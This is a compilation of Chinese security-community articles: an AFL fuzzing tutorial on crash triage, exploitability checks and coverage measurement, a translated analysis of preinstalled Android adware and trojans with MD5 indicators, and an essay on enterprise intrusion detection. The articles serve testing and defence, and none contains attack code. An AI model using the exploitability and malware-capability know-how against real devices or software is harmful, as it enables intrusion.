"/root/syncdir/SESSION000",
"/root/syncdir/SESSION001",
...
"/root/syncdir/SESSION00x"
]
}
然后指定配置文件运行即可：
$ afl-stats -c afl-stats.conf
[SESSION000 on fuzzer1]
Alive: 1/1
Execs: 64 m
Speed: 0.3 x/s
Pend: 6588/249
Crashes: 101
[SESSION001 on fuzzer1]
Alive: 1/1
Execs: 105 m
Speed: 576.6 x/s
Pend: 417/0
Crashes: 291
...
#### 2\. 定制afl-whatsup
_afl-whatsup_ 是依靠读afl-fuzz输出目录中的 _fuzzer_stats_
文件来显示状态的，每次查看都要需要手动执行，十分麻烦。因此可以对其进行修改，让其实时显示fuzzer的状态。方法也很简答，基本思路就是在所有代码外面加个循环就好，还可以根据自己的喜好做些调整：
#### 3\. afl-plot
前面提到的都是基于命令行的工具，如果还想要更直观的结果，可以用 _afl-plot_ 绘制各种状态指标的直观变化趋势。
#安装依赖工具gnuplot
$ apt-get install gnuplot
$ afl-plot afl_state_dir graph_output_dir
以测试libtiff的情况为例，进入afl-plot输出目录，打开 _index.html_ ，会看到下面三张图：
首先是路径覆盖的变化，当 **pending fav** 的数量变为零并且 **total paths**
数量基本上没有再增长时，说明fuzzer有新发现的可能性就很小了。
接着是崩溃和超时的变化
最后是执行速度的变化，这里要注意的是，如果随着时间的推移，执行速度越来越慢，有一种可能是因为fuzzer耗尽一些共享资源。
#### 4\. PYTHIA
笔者在查阅资料的过程中，还发现了[pythia](https://github.com/mboehme/pythia)这个AFL的扩展项目，虽然不知道效果如何，但这里还是顺便提一提。其特色在于可以估算发现新crash和path概率，其运行界面相比原版的AFL多出了下面几个字段：
correctness: 在没有发现crash时，发现一个导致crash输入的概率。 fuzzability:
表示在该程序中发现新路径的难度，该数值越高代表程序越容易Fuzz。 current paths: 显示当前发现的路径数。 path coverag:
路径覆盖率。
### 三、结束测试
#### 1.何时结束
检查 _afl-fuzz_ 工作状态的目的是为何时停止测试提供依据，通常来说符合下面几种情况时就可以停掉了。
(1) 状态窗口中”cycles
done”字段颜色变为绿色该字段的颜色可以作为何时停止测试的参考，随着周期数不断增大，其颜色也会由洋红色，逐步变为黄色、蓝色、绿色。当其变为绿色时，继续Fuzzing下去也很难有新的发现了，这时便可以通过Ctrl-C停止afl-fuzz。
(2) 距上一次发现新路径（或者崩溃）已经过去很长时间了，至于具体多少时间还是需要自己把握，比如长达一个星期或者更久估计大家也都没啥耐心了吧。
(3) 目标程序的代码几乎被测试用例完全覆盖，这种情况好像很少见，但是对于某些小型程序应该还是可能的，至于如何计算覆盖率将在下面介绍。
(4)上面提到的pythia提供的各种数据中，一旦 **path covera**
达到99％（通常来说不太可能），如果不期望再跑出更多crash的话就可以中止fuzz了，因为很多crash可能是因为相同的原因导致的；还有一点就是
**correctness** 的值达到 **1e-08** ，根据pythia开发者的说法，这时从上次发现path/uniq
crash到下一次发现之间大约需要1亿次执行，这一点也可以作为衡量依据。
#### 2\. 输出结果
_afl-fuzz_ 的输出目录中存在很多文件，有时想要写一个辅助工具可能就要用到其中的文件。下面以多个fuzz实例并行测试时的同步目录为例：
$ tree -L 3
.
├── fuzzer1
│ ├── crashes
│ │ ├── id:000000,sig:06,src:000019+000074,op:splice,rep:2
│ │ ├── ...
│ │ ├── id:000002,sig:06,src:000038+000125,op:splice,rep:4
│ │ └── README.txt
│ ├── fuzz_bitmap
│ ├── fuzzer_stats
│ ├── hangs
│ │ └── id:000000,src:000007,op:flip1,pos:55595
│ ├── plot_data
│ └── queue
│ ├── id:000000,orig:1.png
│ ├── ....
│ └── id:000101,sync:fuzzer10,src:000102
└── fuzzer2
├── crashes
├── ...
queue：存放所有具有独特执行路径的测试用例。
crashes：导致目标接收致命signal而崩溃的独特测试用例。
crashes/README.txt：保存了目标执行这些crash文件的命令行参数。
hangs：导致目标超时的独特测试用例。
fuzzer_stats：afl-fuzz的运行状态。
plot_data：用于afl-plot绘图。
### 四、处理测试结果
到了这里，我们可能已经跑出了一大堆的crashes，那么接下来的步骤，自然是确定造成这些crashes的bug是否可以利用，怎么利用？这是另一个重要方面。当然，个人觉得这比前面提到的内容都要困难得多，这需要对常见的二进制漏洞类型、操作系统的安全机制、代码审计和调试等内容都有一定深度的了解。但如果只是对crash做简单的分析和分类，那么下面介绍的几种方法都可以给我们提供一些帮助。
#### 1\. crash exploration mode
这是afl-fuzz的一种运行模式，也称为 **peruvian rabbit mode**
，用于确定bug的可利用性，具体细节可以参考[lcamtuf](https://lcamtuf.blogspot.com/2014/11/afl-fuzz-crash-exploration-mode.html)的博客。
$ afl-fuzz -m none -C -i poc -o peruvian-were-rabbit_out -- ~/src/LuPng/a.out @@ out.png
举个例子，当你发现目标程序尝试写入\跳转到一个明显来自输入文件的内存地址，那么就可以猜测这个bug应该是可以利用的；然而遇到例如NULL pointer
dereferences这样的漏洞就没那么容易判断了。
将一个导致crash测试用例作为 _afl-fuzz_ 的输入，使用 _-C_ 选项开启crash
exploration模式后，可以快速地产生很多和输入crash相关、但稍有些不同的crashes，从而判断能够控制某块内存地址的长度。这里笔者在实践中没有找到适合的例子，但在一篇[文章](https://countuponsecurity.com/tag/peruvian-were-rabbit/)中发现了一个很不错的例子——tcpdump栈溢出漏洞，crash
exploration模式从一个crash产生了42个新的crash，并读取不同大小的相邻内存。
#### 2\. triage_crashes
AFL源码的experimental目录中有一个名为 _triage_crashes.sh_
的脚本，可以帮助我们触发收集到的crashes。例如下面的例子中，11代表了SIGSEGV信号，有可能是因为缓冲区溢出导致进程引用了无效的内存；06代表了SIGABRT信号，可能是执行了abort\assert函数或double
free导致，这些结果可以作为简单的参考。
$ ~/afl-2.52b/experimental/crash_triage/triage_crashes.sh fuzz_out ~/src/LuPng/a.out @@ out.png 2>&1 | grep SIGNAL
+++ ID 000000, SIGNAL 11 +++
+++ ID 000001, SIGNAL 06 +++
+++ ID 000002, SIGNAL 06 +++
+++ ID 000003, SIGNAL 06 +++
+++ ID 000004, SIGNAL 11 +++
+++ ID 000005, SIGNAL 11 +++
+++ ID 000006, SIGNAL 11 +++
...
#### 3\. crashwalk
当然上面的两种方式都过于鸡肋了，如果你想得到更细致的crashes分类结果，以及导致crashes的具体原因，那么[crashwalk](https://github.com/bnagy/crashwalk)就是不错的选择之一。这个工具基于gdb的exploitable插件，安装也相对简单，在ubuntu上，只需要如下几步即可：
$ apt-get install gdb golang
$ mkdir tools
$ cd tools
$ git clone https://github.com/jfoote/exploitable.git
$ mkdir go
$ export GOPATH=~/tools/go
$ export CW_EXPLOITABLE=~/tools/exploitable/exploitable/exploitable.py
$ go get -u github.com/bnagy/crashwalk/cmd/...
crashwalk支持AFL/Manual两种模式。前者通过读取 **crashes/README.txt**
文件获得目标的执行命令（前面第三节中提到的），后者则可以手动指定一些参数。两种使用方式如下：
#Manual Mode
$ ~/tools/go/bin/cwtriage -root syncdir/fuzzer1/crashes/ -match id -- ~/parse @@
#AFL Mode
$ ~/tools/go/bin/cwtriage -root syncdir -afl
两种模式的输出结果都一样，如上图所示。这个工具比前面几种方法要详细多了，但当有大量crashes时结果显得还是十分混乱。
#### 4\. afl-collect
最后重磅推荐的工具便是 _afl-collect_ ，它也是 _afl-utils_
套件中的一个工具，同样也是基于exploitable来检查crashes的可利用性。它可以自动删除无效的crash样本、删除重复样本以及自动化样本分类。使用起来命令稍微长一点，如下所示：
$ afl-collect -j 8 -d crashes.db -e gdb_script ./afl_sync_dir ./collection_dir -- /path/to/target --target-opts
但是结果就像下面这样非常直观：
### 五、代码覆盖率及其相关概念
代码覆盖率是模糊测试中一个极其重要的概念， **使用代码覆盖率可以评估和改进测试过程，执行到的代码越多，找到bug的可能性就越大**
，毕竟，在覆盖的代码中并不能100%发现bug，在未覆盖的代码中却是100%找不到任何bug的，所以本节中就将详细介绍代码覆盖率的相关概念。
#### 1\. 代码覆盖率（Code Coverage）
代码覆盖率是一种度量代码的覆盖程度的方式，也就是指源代码中的某行代码是否已执行；对二进制程序，还可将此概念理解为汇编代码中的某条指令是否已执行。其计量方式很多，但无论是GCC的GCOV还是LLVM的SanitizerCoverage，都提供函数（function）、基本块（basic-block）、边界（edge）三种级别的覆盖率检测，更具体的细节可以参考LLVM的[官方文档](https://clang.llvm.org/docs/SanitizerCoverage.html)。
#### 2\. 基本块（Basic Block）
缩写为BB，指一组顺序执行的指令，BB中第一条指令被执行后，后续的指令也会被全部执行，每个BB中所有指令的执行次数是相同的，也就是说一个BB必须满足以下特征：
* 只有一个入口点，BB中的指令不是任何 **跳转指令** 的目标。
* 只有一个退出点，只有最后一条指令使执行流程转移到另一个BB
例如下图中的代码就可以被切割为4个基本块，平时我们在IDA图形模式中看到的就是一个一个的基本块
将上面的程序拖进IDA，可以看到同样被划分出了4个基本块：
#### 3\. 边（edge）
AFL的[技术白皮书](http://lcamtuf.coredump.cx/afl/technical_details.txt)中提到fuzzer通过插桩代码捕获边（edge）覆盖率。那么什么是edge呢？我们可以将程序看成一个控制流图（CFG），图的每个节点表示一个基本块，而edge就被用来表示在基本块之间的转跳。知道了每个基本块和跳转的执行次数，就可以知道程序中的每个语句和分支的执行次数，从而获得比记录BB更细粒度的覆盖率信息。
#### 4\. 元组（tuple）
具体到AFL的实现中，使用二元组(branch_src, branch_dst)来记录 **当前基本块** \+ **前一基本块**
的信息，从而获取目标的执行流程和代码覆盖情况，伪代码如下：
cur_location = <COMPILE_TIME_RANDOM>; //用一个随机数标记当前基本块
shared_mem[cur_location ^ prev_location]++; //将当前块和前一块异或保存到shared_mem[]
prev_location = cur_location >> 1; //cur_location右移1位区分从当前块到当前块的转跳
实际插入的汇编代码，如下图所示，首先保存各种寄存器的值并设置ecx/rcx，然后调用`__afl_maybe_log`，这个方法的内容相当复杂，这里就不展开讲了，但其主要功能就和上面的伪代码相似，用于记录覆盖率，放入一块共享内存中。
### 六、计算代码覆盖率
了解了代码覆盖率相关的概念后，接下来看看如何计算我们的测试用例对前面测试目标的代码覆盖率。
这里需要用到的工具之一是 **GCOV** ，它随gcc一起发布，所以不需要再单独安装，和afl-gcc插桩编译的原理一样，gcc编译时生成插桩的程序，用于在执行时生成代码覆盖率信息。
另外一个工具是 **LCOV** ，它是GCOV的图形前端，可以收集多个源文件的gcov数据，并创建包含使用覆盖率信息注释的源代码HTML页面。
最后一个工具是[afl-cov](https://github.com/mrash/afl-cov)，可以快速帮助我们调用前面两个工具处理来自afl-fuzz测试用例的代码覆盖率结果。在ubuntu中可以使用`apt-get install afl-cov`安装afl-cov，但这个版本似乎不支持分支覆盖率统计，所以还是从Github下载最新版本为好，下载完无需安装直接运行目录中的Python脚本即可使用：
$ apt-get install lcov
$ git clone https://github.com/mrash/afl-cov.git
$ ./afl-cov/afl-cov -V
afl-cov-0.6.2
还是以Fuzz libtiff为例，计算Fuzzing过程的代码覆盖率流程如下：
第一步，使用gcov重新编译源码，在CFLAGS中添加`"-fprofile-arcs"`和`"-ftest-coverage"`选项，可以在`--prefix`中重新指定一个新的目录以免覆盖之前alf插桩的二进制文件。
$ make clean
$ ./configure --prefix=/root/tiff-4.0.10/build-cov CC="gcc" CXX="g++" CFLAGS="-fprofile-arcs -ftest-coverage" --disable-shared
$ make
$ make install
第二步，执行afl-cov。其中 _-d_ 选项指定afl-fuzz输出目录； _—live_ 用于处理一个还在实时更新的AFL目录，当afl-fuzz停止时，afl-cov将退出； _–enable-branch-coverage_ 用于开启边缘覆盖率（分支覆盖率）统计； _-c_
用于指定源码目录；最后一个 _-e_ 选项用来设置要执行的程序和参数，其中的 _AFL_FILE_ 和afl中的”@@”类似，会被替换为测试用例，
_LD_LIBRARY_PATH_ 则用来指定程序的库文件。
$ cd ~/tiff-4.0.10
$ afl-cov -d ~/syncdir --live --enable-branch-coverage -c . -e "cat AFL_FILE | LD_LIBRARY_PATH=./build-cov/lib ./build-cov/bin/tiff2pdf AFL_FILE"
成功执行的结果如下所示：
我们可以通过 _—live_
选择，在fuzzer运行的同时计算覆盖率，也可以在测试结束以后再进行计算，最后会得到一个像下面这样的html文件。它既提供了概述页面，显示各个目录的覆盖率；也可以在点击进入某个目录查看某个具体文件的覆盖率。
点击进入每个文件，还有更详细的数据。每行代码前的数字代表这行代码被执行的次数，没有执行过的代码会被红色标注出来。
#### 参考资料
[1] [INTRO TO AMERICAN FUZZY LOP – FUZZING WITH ASAN AND
BEYOND](https://countuponsecurity.com/2018/04/24/intro-to-american-fuzzy-lop-fuzzing-with-asan-and-beyond/)
[2] [Fuzzing with
AFL](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20workshops/DEFCON-26-Workshop-Jakub-Botwicz-and-Wojciech-Rauner-Fuzzing-with-AFL-\(American-Fuzzy-Lop\).pdf)
[3] [Clang 9 documentation –
SanitizerCoverage](https://clang.llvm.org/docs/SanitizerCoverage.html)
[4]
[honggfuzz漏洞挖掘技术深究系列](http://riusksk.me/2018/07/29/honggfuzz%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8A%80%E6%9C%AF1/)
[5] [How Much Test Coverage Is Enough For Your Testing
Strategy?](https://www.seguetech.com/how-much-test-coverage-enough-testing-strategy/)
* * * | 社区文章 |
# 不可删除的广告软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**概述：**
广告是最大、最快、最广泛的信息传递媒介，广告能激发和诱导消费，广告的反复渲染、反复刺激，也会扩大产品的知名度。一个公司要想让一个产品达到最好的效益，必须花大量的成本投放大量的广告，这就促使了以投放广告来获取利益的产业链的形成。推广广告软件也应运而生，虽然一直以来各大安全厂商对软件的审核非常的严格，但是攻击者会使用各种手段躲避安全厂商的检测，从而借助移动软件平台大量向外推广。
我们在日常使用手机的过程中可能常常会受到智能手机上未知来源的广告的侵扰。这些未知来源的广告可能在用户未购买手机设备之前就已嵌入到系统应用或系统库中，用户根本无法删除。
广告软件通过以下两种方式嵌入到设备中将不可删除：
1. 该恶意软件获得了设备的root用户访问权限，并在系统分区中安装了广告软件。
2. 用于显示广告（或其加载程序）的代码已经预安装到用户设备的系统应用或库中。
其中有以下系统应用中嵌入了广告软件：
## （一）HTMLViewer系统应用
HTMLViewer是系统自带的HTML浏览器，进入到手机系统APP目录，可看到HTMLViewer应用目录。
**图1-1系统APP目录**
该系统应用程序中包含Sivu木马。恶意软件包含两个模块：
1. 第一个模块可以在设备上使用root权限执行shell命令。
2. 第二个模块可在其他窗口顶部和通知中显示广告。
（1）该应用的asset目录下包含两个jar文件（实际为apk文件）分别对应着该恶意软件的两个功能模块。
**图1-2 asset目录下两个恶意模块**
（2）程序首先根据判断条件从服务器下载jar文件或从asset目录下获取jar文件并加载。
**图1-3 获取jar文件**
（3）加载F6.jar文件，该程序具有从服务器下载广告并在屏幕应用程序顶部显示广告的功能。
请求服务器并下载广告：
**图1-4 下载广告**
检测是否可以在屏幕应用程序顶部显示广告：
**图1-5 检测是否可在屏幕应用程序顶部显示广告**
**图1-6 显示广告**
（4）加载g10.jar文件，该程序能够对用户设备进行远程控制：
静态控制用户设备，它的功能包括安装，卸载和运行应用程序。根据入侵者的目标，可用于秘密安装合法或恶意应用程序。
**图1-7下载，安装和运行应用**
根据设备是否root情况下，获取超级用户权限执行普通cmd命令或更高级的cmd命令。这使应用程序能够通过远程执行命令控制用户设备。
**图1-8 执行cmd命令**
执行cmd命令静默安装、卸载应用。
**图1-9 静默安装、卸载应用**
## （二）系统服务应用程序
在系统服务应用中我们发现应用程序可以下载并静默安装应用程序，以及在通知中显示广告。
**（1）屏幕关闭后静默安装应用：**
**图2-1 静默安装应用**
在获取到root权限的情况下可将apk文件复制到系统目录，并尝试安装。这是用户无法卸载安装在系统目录中的应用。
**图2-2 在获取root权限情况下复制apk文件到系统目录**
静默从服务器下载广告：
**图2-3 静默从服务器下载广告**
加载显示广告：
**图2-4 加载显示广告**
## （三）位于系统目录本机库中的应用程序
（1）Necro.d是位于系统目录中的本机库中的木马程序，它的启动机制内置在另一个系统库libandroid_servers.so中(系统服务组件)。
图2-5 启动木马
（2）在C＆C的命令下，Necro.d可以下载、安装、卸载和运行应用程序。此外，开发人员还为执行任意shell命令留出后门。
**图** 2-6 执行收到的命令
（3）最重要的是，Necro.d可以下载Kingroot超级用户权限实例程序。
**图2-7 下载** Kingroot超级用户权限实例程序
除了以上的系统应用和库存在广告软件外。壁纸应用程序、主题类应用程序、Launcher系统应用程序（负责桌面的应用程序）、处理系统图形界面的应用程序、设置应用程序等都或多或少的存在广告软件。可用于秘密安装恶意应用程序、以及在通知中显示广告或定期在浏览器中显示广告并打开广告页面。
## （四）制造商自己预先安装的广告软件模块
一些智能手机包含制造商自己预先安装的广告软件模块。供应商将其描述为其业务模型的一部分，以降低用户购买设备成本。
### **（1）魅族应用商店：**
在魅族设备预安装的AppStore应用程序中发现了隐藏的广告软件，可加载广告并在不可见的窗口中显示广告，用户可能无法发现广告，但这将会导致用户设备电池电量的损耗。
**图3-1 加载广告**
该应用程序还可以下载并执行第三方JavaScript代码：
**图3-2 下载执行第三方** JavaScript代码
不仅如此它还可以通过监听短信数据库变化，获取短信内容（如短信验证码）并将其内容设置到加载的页面的文本框中。这种方法通常用于在用户不知情的情况下，私自为用户
注册订阅付费服务。
**图3-3 获取短信并在网页中设置**
### **（2）魅族音乐应用**
在该应用的asset文件目录下发现了一个广告处理插件。
**图3-4 asset目录下广告插件**
**图3-5 广告插件目录**
且在一个加密发件中发现该应用下载GinkgoSDK，该SDK是一个广告SDK，可能会在用户不知情的情况下下载广告。
**图3-6 下载GinkgoSDK**
## 总结：
移动设备供应商、软件开发者在预安装的软件或系统软件中加入广告软件模块目的是为了实现利润最大化。如果广告网络商愿意为未知来源的浏览量、点击量和安装付费，那么将广告模块嵌入到设备中以增加每台设备的销售利润是有意义的。但如果用户购买带有这种预装广告的设备，则通常不可能在不损害系统风险的情况下将其删除，这将给用户使用设备带来不少困扰。
**MD5**
42c97a5da141b9cfd7696583875bcef5
0065d7177dfd65cebb1e2e788dce0082
fc0824678f582b0bdf65856e90cf0a01
520b50eee2f9dc522a87398f3bd5be94
cf808957da17f6a0b5d266b0e301bf63
04705df0913ccc0a12abddbcb757bac4
5d05e62fb18c6e1128522fe3371d2c91
5a2e5a1f768e4f33bd007f9acd2a9d0d
6c0d83e9e0eeed44ab1a1e5affb68b85
28119119d19fc3d986df63517dee465e
c81d66f5206193ce76b7f4f0b813f705
00c62413845fba1d9ddfd0e8d99f167b
d7b13e3f54ff5b8ff3e2c78e67e665eb
04fe069d7d638d55c796d7ec7ed794a6
参考链接：<https://securelist.com/pig-in-a-poke-smartphone-adware/97607/> | 社区文章 |
## Author：职业欠钱
### 前言
入侵检测是每一个大型互联网企业都要面对的一个难题。
比如，你怎么知道，当前自己公司是不是已经被黑了？是真的没人来黑，还是别人黑了自己没有能力感知到？
价值越大的公司，面临入侵的威胁越大，像Yahoo！这样的互联网鼻祖，在落幕时仍遭遇全量数据失窃的事情，一旦发生在轻资产的数据化公司身上，后果不堪想象。
基于保密的考虑，本文不会提及任何具体的策略。希望直接照搬入侵策略的同学可能会失望，但一些思路分享出来，希望得到大家的指点，如能对大家产生些许帮助，也是一个非常令人开心的事。
限于个人认知，如有谬误，欢迎同行指点。
### 摘要
入侵的定义：恶意攻击者不经授权控制我方资源
我们要发现什么样的入侵： GetShell以及GetShell之后的行为上
入侵和内鬼：内鬼不在入侵检测讨论范围，移步内部风险控制和审计
入侵检测的本质：区分未授权的动作，可以模式匹配、异常检测，通过加固让合法行为带标签可简化检测模型
入侵检测与攻击向量：不存在“通用入侵检测模型”，必须结合“攻击向量”具体分析
常见入侵手法与应对：杜绝高危端口，优先聚焦Web GetShell
入侵检测基本原则：减少“误报”是关键
主流的入侵检测产品形态：HIDS（服务器和终端类似）、NIDS、沙箱、RASP、SIEM/SOC
入侵检测效果评价指标：主动检出率、可运营的场景覆盖率
影响入侵检测的关键要素：系统健康度（保证每一台主机、每一时刻、每一个策略都健康运行）
如何发现APT：等待实施APT的人犯错，高级的0day、木马并不是APT的代言词
AI在入侵检测领域的正确姿势：别让AI专家领衔，让业务专家提需求，把AI当工具而不是解决方案
### 什么是入侵
电影里典型的入侵场景：
坏人在很远的地方，通过网络控制你的笔记本、手机、机房的服务器、网络设备，进而随意的读你（笔记本、手机、服务器、网络设备里）的隐私数据（窃取数据）、用你的设备上的功能，实现坏人的意图，比如使用手机的麦克风窃听你在说什么，使用笔记本的摄像头偷窥你在看什么，使用服务器的计算能力挖矿，使用网络能力发动DDOS攻击等等……
所以，入侵，就是恶意攻击者（俗称黑客），不经授权的控制、使用我方资源（读写文件、执行命令、控制网络资源等）。广义上，黑客使用SQL注入窃取数据，或者拿到了你在域名ISP里的帐号，可以篡改DNS指向一个黑页，又或者找到了你的社交帐号，在微博/QQ/邮箱上，对虚拟资产进行控制，都叫入侵。
### 我们要发现什么样的入侵
企业里的入侵检测，多数时候，需要发现的是狭义上的入侵 —— 一般指黑客对PC、服务器、工作网络（包括办公网、生产网）的控制行为。
而对PC、服务器等资产的控制，最主流的方法是通过SHELL去下发指令，获得SHELL的这个动作叫做GetShell。常见的方式有通过Web服务的上传漏洞，拿到WebShell，或者利用RCE漏洞直接执行命令（存在漏洞的页面，变相的提供了一个SHELL环境）。另外，也有通过某种方式先植入木马后门，后续直接利用木马集成的SHELL功能对目标进行控制。
因此，入侵检测重点关注的，是GetShell这个动作，以及GetShell成功之后的恶意行为（为了扩大战果，黑客多半会利用Shell进行探测、翻找窃取、横向移动攻击其它内部目标）。至于有一些同行（包括业界产品），喜欢关注GetShell之前的一些“外部扫描、攻击尝试”行为，在笔者看来基本上是没有意义的。因为一个成功的产品、优秀的公司，外部的扫描和尝试攻击无时无刻不在持续发生的，我们得习惯这是常态，并在这样的常态下去对抗，有什么加固的策略，可以一开始就做，持续的运营，如果有什么策略是无法持续运营的，多半也就不是一个有效的策略了。
而类似于SQL注入、XSS等一些不直接GetSHell的Web攻击，暂时不在狭义的“入侵检测”考虑范围，而是可以划入“漏洞”、“威胁感知”等领域，另行探讨。当然，利用SQL注入、XSS等入口，进行了GetShell操作的，我们仍抓GetShell这个关键点，而不讨论漏洞入口本身。
### “入侵”和“内鬼”
与入侵接近的一种场景是内鬼。入侵本身是手段，GetShell只是开始，目的是为了之后对资源的控制和数据的窃取。而内鬼本身拥有合法的权限，可以合法接触敏感资产，但是基于工作以外的目的对这些资源进行非法处置，包括拷贝副本、转移外泄、篡改数据牟利等。
内鬼的行为不在“入侵检测”的范畴，一般从内部风险控制的视角进行管理和审计，比如职责分离、双人审计等。也有数据防泄密产品，DLP对其进行防御，这里不展开。
有时候，黑客知道员工A有权限接触目标资产，于是定向攻击员工A，利用员工A的权限把数据窃取走，也定性为“入侵”。毕竟A不是主观恶意的内鬼。如果不能在黑客攻击A的那一刻捕获（军方级对手可能会拥有0day无法防御，免杀木马无法检测），或者无法区分黑客控制的A窃取数据，和正常员工A的访问数据，那这个入侵检测就是失败的。
### 入侵检测的本质
前面已经说过入侵就是坏人可以不经过你的同意，操作你的资产，手段并没有任何限制。那么如何找出入侵行为和合法正常行为的区别，将其跟合法行为分类开，就是“入侵发现”。在模型上，它其本质是一个标记问题（入侵、非入侵）。
可惜的是，入侵这种动作的“黑”样本特别稀少，想通过大量的数据去训练入侵检测模型，找出入侵的规律，比较难。因此，入侵检测策略人员，往往需要投入大量的时间，去提炼更精准的表达模型，或者花更多的精力去构造“类似入侵”的模拟数据。一个经典的例子是，为了对抗webshell，行业人员往往去GitHub上搜索一些公开的webshell样本，数量大约是不到1000个。而对于机器学习动辄百万级的训练需求，这是远远不够的。
此时，针对已知样本做技术分类，提炼更精准的模型，被称为传统的特征工程，被视为效率低下的重复劳动，但效果往往比较可以预期。而构造大量的恶意样本，虽然有机器学习、AI等光环加持，但在实际环境中往往难以获得成功
—— 自动生成的样本很难描述webshell本来的含义，多半描述的是自动生成的算法特征。
另一个方面，入侵的区别是看行为本身是否“授权”，而授权与否本身是没有任何显著的区分特征的。因此，做入侵对抗的时候，如果能够通过某种加固，将合法的访问收敛到有限的通道，并且给该通道做出强有力的区分，也就能大大的降低入侵检测的成本
——
例如，对访问来源进行严格的认证，无论是自然人，还是程序API，都要求持有合法票据，而派发票据时，针对不同情况做多纬度的认证，再用权限控制台针对这些票据记录和监控它们可以访问的范围。
这也是Google的BeyondCorp无边界网络得以实施的前提和基础。
因此，入侵检测的主要思路也就有2种：
1. 根据特征进行模式匹配；（黑特征法，例如WebShell关键字匹配）
2. 根据业务历史行为（生成基线模型），对入侵行为做异常对比；（非白既黑），如果业务的历史行为不够收敛，就用加固的手段对其进行收敛，再挑出不合规的小众异常行为。
### 入侵检测与攻击向量
根据目标不同，可能暴露给黑客的攻击面，和黑客可以采用的入侵手法，也完全不同。比如，入侵你手头的PC/笔记本，和入侵部署在机房/云上的服务器，攻击和防御的方法完全不同。
针对一个明确的“目标”，它被访问的渠道可能是有限集，被攻击的必经路径也有限。一个可以成功入侵的 攻击方法 + 目标 合并起来，就称为一个“攻击向量”。
因此，谈入侵检测模型效果时，需要先明确攻击向量，针对不同的攻击路径，采集对应的数据，才可能做对应的检测模型。比如，基于SSH登录后的SHELL命令采集，是不会让你发现Webshell的攻击的。而基于网络流量的采集数据，也不会让你获悉黑客是否在SSH后的SHELL环境里执行了什么文件切割打包的动作。
基于此，如果有人说自己的模型可以无视场景发现APT，那就是在扯犊子。首先你得先把APT对应的攻击向量罗列出来，每一个细分场景是否拥有数据，是否具备发现能力，都要单独去建设的。
### 常见的入侵手法与应对
做入侵检测的，如果对黑客入侵的常见手法、流程理解不足，就容易抓不住重点，有时候会陷入“政治正确”的陷阱里 ——
比如渗透测试团队说，我做了A动作，你无法发现，请你解决。而该场景是否真的危险，在全局的范围内如何排序，解决它耗费的成本和带来的收益如何，都需要有专业经验做支撑来决策。
下面说说经典教程里，黑客的入侵流程（完整过程可以参考杀伤链模型）：
黑客要入侵一个目标之前，对该目标是一无所知的，所以第一件事，是“踩点”
——也就是搜集信息。比如，我要黑的目标，有哪些资产（域名、IP、网站服务），它们各自的状态如何，是否存在已知的漏洞（工具），管理他们的人有谁，存在哪些已知的泄漏信息（比如社工库里的密码等）……
一旦踩点完成，核心的思路就是根据目标找出对应的漏洞、攻击策略进行渗透，比如：
1. 高危服务入侵
所有的公共服务都叫做高危端口，因为该协议、实现该协议的开源组件，可能存在已知的攻击路径（甚至未知的0day），只要你的价值足够高，黑客有足够的资源去挖掘攻击手法，那么当你把高危端口开启的那一刻，就相当于为黑客打开了大门。
比如SSH、RDP端口开放，这些端口是给管理员维护系统用的，只要知道密码，黑客就能通过该端口获得服务器的权限，完成入侵。黑客可能通过暴力猜解密码，获得凭据，也可能通过其它方式拿到登录凭据。
或许，你的密码设置得非常强壮，但是这并不是你可以把该端口继续暴露在互联网的理由，我们应该把这些端口限制好，只允许自己的IP（或者内部的堡垒主机）访问，彻底断掉黑客通过它入侵我们的可能。
与此类似的，MySQL、Redis、FTP、SMTP、MSSQL、Rsync等等，凡是自己用来管理服务器或者数据库、文件的服务，都不应该给互联网打开。否则，蠕虫化的攻击工具会在短短几分钟内攻破你的服务，甚至直接加密你的数据，要求你支付比特币进行勒索。
还有一些高危服务存在RCE漏洞（远程命令执行），只要端口开放，黑客就能利用现成的exploit，直接GetShell。
防御建议：
在这里做入侵检测的必要性不高，因为高危服务的具体所指非常的多，不一定存在通用的特征，所以，通过加固方式，收敛攻击入口才是更有效的策略。禁止所有高危端口对互联网开放即可。
1. Web入侵
随着高危端口的加固，黑客知识库里的攻击手法很多都会失效了。但是Web服务是现代互联网公司的主要服务形式，不可能也都关掉。于是，基于PHP、JAVA、ASP/<http://ASP.NET、NODE、C写的cgi等等动态的Web服务本身的漏洞，就变成了黑客入侵的最主要的入口了。>
比如利用上传功能直接上传一个WebShell、利用文件包含功能，直接引用执行一个远程的WebShell、利用代码执行的功能，直接当作SHELL的入口执行任意命令，利用解析一些图片、视频的功能，上传一个恶意的样本，触发解析库的漏洞……
这里的细分手法是一个专门的领域（道哥专门写了本《白帽子讲Web安全》），当然，由于它们都是由Web服务做为入口的，所以，入侵检测的时候，也总有一些办法，找到黑客GetShell和正常业务行为的一些区别。
这里，基于WAF日志、Access
Log、Auditd记录的系统调用或者SHELL指令，网络层面上针对response包体里的特征，都可能提炼出很多攻击手法，建议主要的精力放在这里。
1. 0day入侵
通过NSA泄漏的工具包来看，早些年他们是拥有直接攻击Apache、Nginx这些服务的能力的。这意味着对手很可能有一些我们不知道的漏洞，神不知鬼不觉就GetShell了。
但是对于入侵检测而言，这并不重要 ：
因为我们从来不在乎你利用什么漏洞，我们只关注你所使用的shellcode和之后的行为。Apache存在0day漏洞被攻击，还是一个php页面存在低级的漏洞被攻击，从入侵的行为上来看，说不定是完全一样的，入侵检测模型可以通用。
所以，多把精力聚焦在有哪些黑客手法上，会比关注存在哪些漏洞更有价值 —— 当然，具体漏洞还是要实际投入跟进和测试，验证模型的效果。
1. 通过办公网入侵
绝大多数APT报告里，黑客是先对人下手，比如发个邮件，哄骗你打开后，控制了你的PC，再进行长期的观察/翻阅，拿到你的合法凭据后，再到内网漫游。这一部分，由于之前的合作里，是另一个团队负责的，所以就不展开了。其实这里才是APT对抗的重头戏，业界多数产品也是围绕这里，而不是IDC的服务器，很遗憾没有太多的实战经验，希望以后有机会可以在这个领域做出一些事情。
### 入侵检测基本原则
1. 不能把每一条告警都彻底跟进的模型，等同于无效模型 ——有入侵了再说之前有告警，只是太多了没跟过来/没查彻底，这是马后炮，等同于不具备发现能力；
2. 我们必须屏蔽一些重复发生的相似的误报告警，以集中精力对每一个告警都闭环掉 —— 这会产生白名单，也就是漏报，因此单个模型的漏报是不可避免的；
